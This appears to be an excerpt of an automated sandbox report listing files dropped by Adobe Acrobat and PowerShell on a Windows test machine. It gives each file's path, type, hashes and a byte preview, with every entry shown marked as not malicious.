Preview:	{"analyticsData":{"responseGUID":"4b4396ff-b23a-4141-8e2c-761907297b90","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737016852849,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.668485529105874
Encrypted:	false
SSDEEP:	24:Yv6XeihamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSb:YvCtBgkDMUJUAh8cvMb
MD5:	B5893B0CBF310046D5B4001C0B6CD164
SHA1:	BD7F009F7FBC38781ADA3C46DEC334329D1A0A45
SHA-256:	FD572F4F0973702EC035790C783C9CF6CA82FCAC36934DA465D7D0CB2C1F67A3
SHA-512:	51FA9DB94046349E34E86834733ECB2D433282FB1E919DFCBCD0F0C980B7CADB4AC54BD8B53FCF295A242A3289B6ABD8088A9E7723226D7306B5DE9ED3934D7D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b4396ff-b23a-4141-8e2c-761907297b90","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737016852849,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.252285462089792
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQifIkcN+FIbRI6XVW7+0YjSD3oAvJfshHHrPeUkwRe9:YvXKXh6wYpW7yRGUUUkee9
MD5:	C450DE98F4B12C4582F664E4294B0814
SHA1:	420874245994AA291F1A0E26E4F603D0EEB4B661
SHA-256:	F9C787E4C43F4EC399D0335B8BACD863E316274B7FFEDF39553C7B2501573136
SHA-512:	29442431A6D3D28312536A070FF095CF64D0B2A0A66E61B6F961D8E8449862950BEE3FA3AEB6F5EA958F4958B63F8D3ABF2DB11D99FB9B12FA7D47DE6051D4A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b4396ff-b23a-4141-8e2c-761907297b90","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737016852849,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.258809389750001
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQifIkcN+FIbRI6XVW7+0YjSD3oAvJTqgFCrPeUkwRe9:YvXKXh6wYpW7yRGTq16Ukee9
MD5:	6BAD15F8C0DBA95E9A4E51235AE86EF4
SHA1:	05F57DFB9D6E0B787FA71ED3401996C16AFD22D8
SHA-256:	F2448F294F4DD0BE14963CFAFCB2F5B1C43F17D2274C293684C0936D828E9725
SHA-512:	54695EDCF91A205DF6D0665532D25EB4FE6B24413BA049070CC1E2EDE38A97797FC7FD93861E267A3C772F5832BAE629A3AB971DFC9E57D974CF46BE1D7F3480
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b4396ff-b23a-4141-8e2c-761907297b90","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737016852849,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.137200050100641
Encrypted:	false
SSDEEP:	24:YTUyacayBt+lvbyf6AiXOEuC+Mxl6yCjMdDj0SS7x4C27SD2LSMC56LftlDRmmMA:YTtsoXi+g6JM92T92m6LftlDRmZG95
MD5:	8A4FD3063826FB46B8B8B1B0531EBE3E
SHA1:	E44204FE70E8C269F03364C4EE26ABC377B12FBA
SHA-256:	34F55D8C000EA3F5173EE162C78BF51C0712D8E7D6689F596762542EA812B1C1
SHA-512:	68FBBC2FBF4C44D34504F8DFCDA01C04CE7EAADFD4F94C2A9C6480F3E5E6759DC1EC36B9C66666667CF3A6FD677F78DB005786F9CB62748CA6F47A0BEE8A4B62
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"ec32d19a9a3a60d98e96973890df6c06","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736840347000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"157fee61e744047e52e84ceaf4965451","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736840347000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"c6549aa620444300b5ead36a78905356","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736840347000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"32749ffdf68b405048591ccbc8274249","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736840347000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"3942cd1728aa9611d482d92d070cfa1f","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736840347000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"12f8ed3d979fb388371c28146d505d09","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9855208249374796
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpCdA4zJwtNBwtNbRZ6bRZ4vdAF:TVl2GL7ms6ggOVpmjzutYtp6PQc
MD5:	0B717BAD59C41D088E67ECE5CAB69CF6
SHA1:	A3118337C07FB8D10A8616609E26C0744A0CC929
SHA-256:	239C109E8D89AB3829730C4FC9ABF37F8156D670C9B3F32F17BAC4880A27425E
SHA-512:	7F1399154EE2F0167BFCE4E49EA171F56D0C9B58BA1F0E0DE7D837279DC911C00F1C0267B78C69587FEFBB8922A7CCBCD212381FE7E8EB7EFDEB0C5E70EC6889
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3407647100822742
Encrypted:	false
SSDEEP:	24:7+tRAD1RZKHs/Ds/SpCdAPzJwtNBwtNbRZ6bRZWf1RZK5qLBx/XYKQvGJF7urs+:7MRGgOVpmczutYtp6PMkqll2GL7ms+
MD5:	9861EDAC73C6BCBCAAEE9ACC1BF845B3
SHA1:	2A45805DF4A361E20EBA699EB0830B6FA79A35CD
SHA-256:	14F49FF8C391A4B4B39AAE3CE57C9CCCA4BC4A101A63CCDF2B77FC37DB8B7B13
SHA-512:	3117C21E8017553B198DF8744A03C3B4FA39F83D2D40FA2BC8B30A8E12E34E27ECE103F39CE849D27338E0A7D0D6FC54D340308265B91AA0F4D3F23489F06CD0
Malicious:	false
Preview:	.... .c........^......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgzM+TZvNmhFdOcafNYYxKdpdpZrgYyu:6a6TZ44ADEzM+tvNdcamdp1gK
MD5:	F004CE9454A8BC75ED1DBDFDB215F00C
SHA1:	1A65FC881253C3A66E65D339A8A2E7385ACF1C59
SHA-256:	33DE7C4AB8454D936B7BF9BF45E1ED8CEC36D869A091EFDF44622C203C7E6988
SHA-512:	FC70B9B0518E7C7ACCEB06786730BBF8F37465939D76D8E4DFEBB73775177B425B0106B9ED491071DD512C9D4377E9F820645620F53C951E8561928D6519011D
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI6028e.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5258803161342094
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84sClGlc0ww:Qw946cPbiOxDlbYnuRKIZGC
MD5:	E622D46954743989D5C1EC9211F8FD77
SHA1:	772FD9BB80BA5858DBF0D193DC98712F5274D5BC
SHA-256:	C1ECA52A932E11A019F566E9C0D71008FB23EF688C3DC5E101A37F75BDCE51FB
SHA-512:	DDE0A9013EF788A407DBDAA3DF1CE4F879F53018E9AA0F93499DEAA1FB3686F5703E16C4B8DE8D6C7404322D0866F3E804AA25C8B342E752598B7EE179727188
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.4./.0.1./.2.0.2.5. . .0.2.:.3.9.:.0.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_beyapicy.lsd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lkrfozpg.rvu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-14 02-39-04-164.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15112
Entropy (8bit):	5.353995277974874
Encrypted:	false
SSDEEP:	384:DGgvoG0xVc1K8hh/syBjPJc5VCftxhFQkrOIaNTZI23fIuTwOn0cOrOfydjkrYYk:GcF
MD5:	FD816789861B93743D8E3183963B9334
SHA1:	EC2595412C0DA25D3DFDF155F36E567E39AB50BF
SHA-256:	990170522484BD67A5AB15F7A9D694E0F32149E49A59640FDF66BB91BE7987D2
SHA-512:	C0411184B0B7220321EB903618903051547F9F76F1595C024CC7CDC640C2684010097DF7B8B10DCC853A139A68FB41C54E272C47F8F150F910AE184BE6DE5773
Malicious:	false
Preview:	SessionID=d5901a37-e7d2-4459-b360-34ab7933f60a.1736840344189 Timestamp=2025-01-14T02:39:04:189-0500 ThreadID=7612 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=d5901a37-e7d2-4459-b360-34ab7933f60a.1736840344189 Timestamp=2025-01-14T02:39:04:190-0500 ThreadID=7612 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=d5901a37-e7d2-4459-b360-34ab7933f60a.1736840344189 Timestamp=2025-01-14T02:39:04:190-0500 ThreadID=7612 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=d5901a37-e7d2-4459-b360-34ab7933f60a.1736840344189 Timestamp=2025-01-14T02:39:04:190-0500 ThreadID=7612 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=d5901a37-e7d2-4459-b360-34ab7933f60a.1736840344189 Timestamp=2025-01-14T02:39:04:190-0500 ThreadID=7612 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395378245764597
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGb6:e
MD5:	585B908BB07CFBB434258D10F40BC08E
SHA1:	A210D5FC96E0126CA8F9E51C3251F6785A03831C
SHA-256:	576F65EE39E13318C02866AA7B203377555B5A8059A3A602630618DB9E7A0A32
SHA-512:	CB6E4362FB17A64ED10AA2ADA958CED89CEAEC56CA5A433FDA4111AD56E35BB833BF2B4A17FDAD616187C5020CC5917286437D4E61F4CFFA863D41FF5498A2B0
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\22a4ef7b-15eb-4b99-9efe-68750deefa1d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\2a810ce9-db4b-46ca-a1ec-3d2d3de063c6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\b5c6ec85-c810-41e9-b970-db03a3bef4d0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e3959452-4c76-43ea-8191-32d958179c3f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7ouWLaGZ7wYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVuWLaGZ7wZGk3mlind9i4ufFXpAXkru
MD5:	13F55292D0735B9ABD4259B225D210FC
SHA1:	810CC5D545BFA11D2825F6E1DFA69176794DA7EC
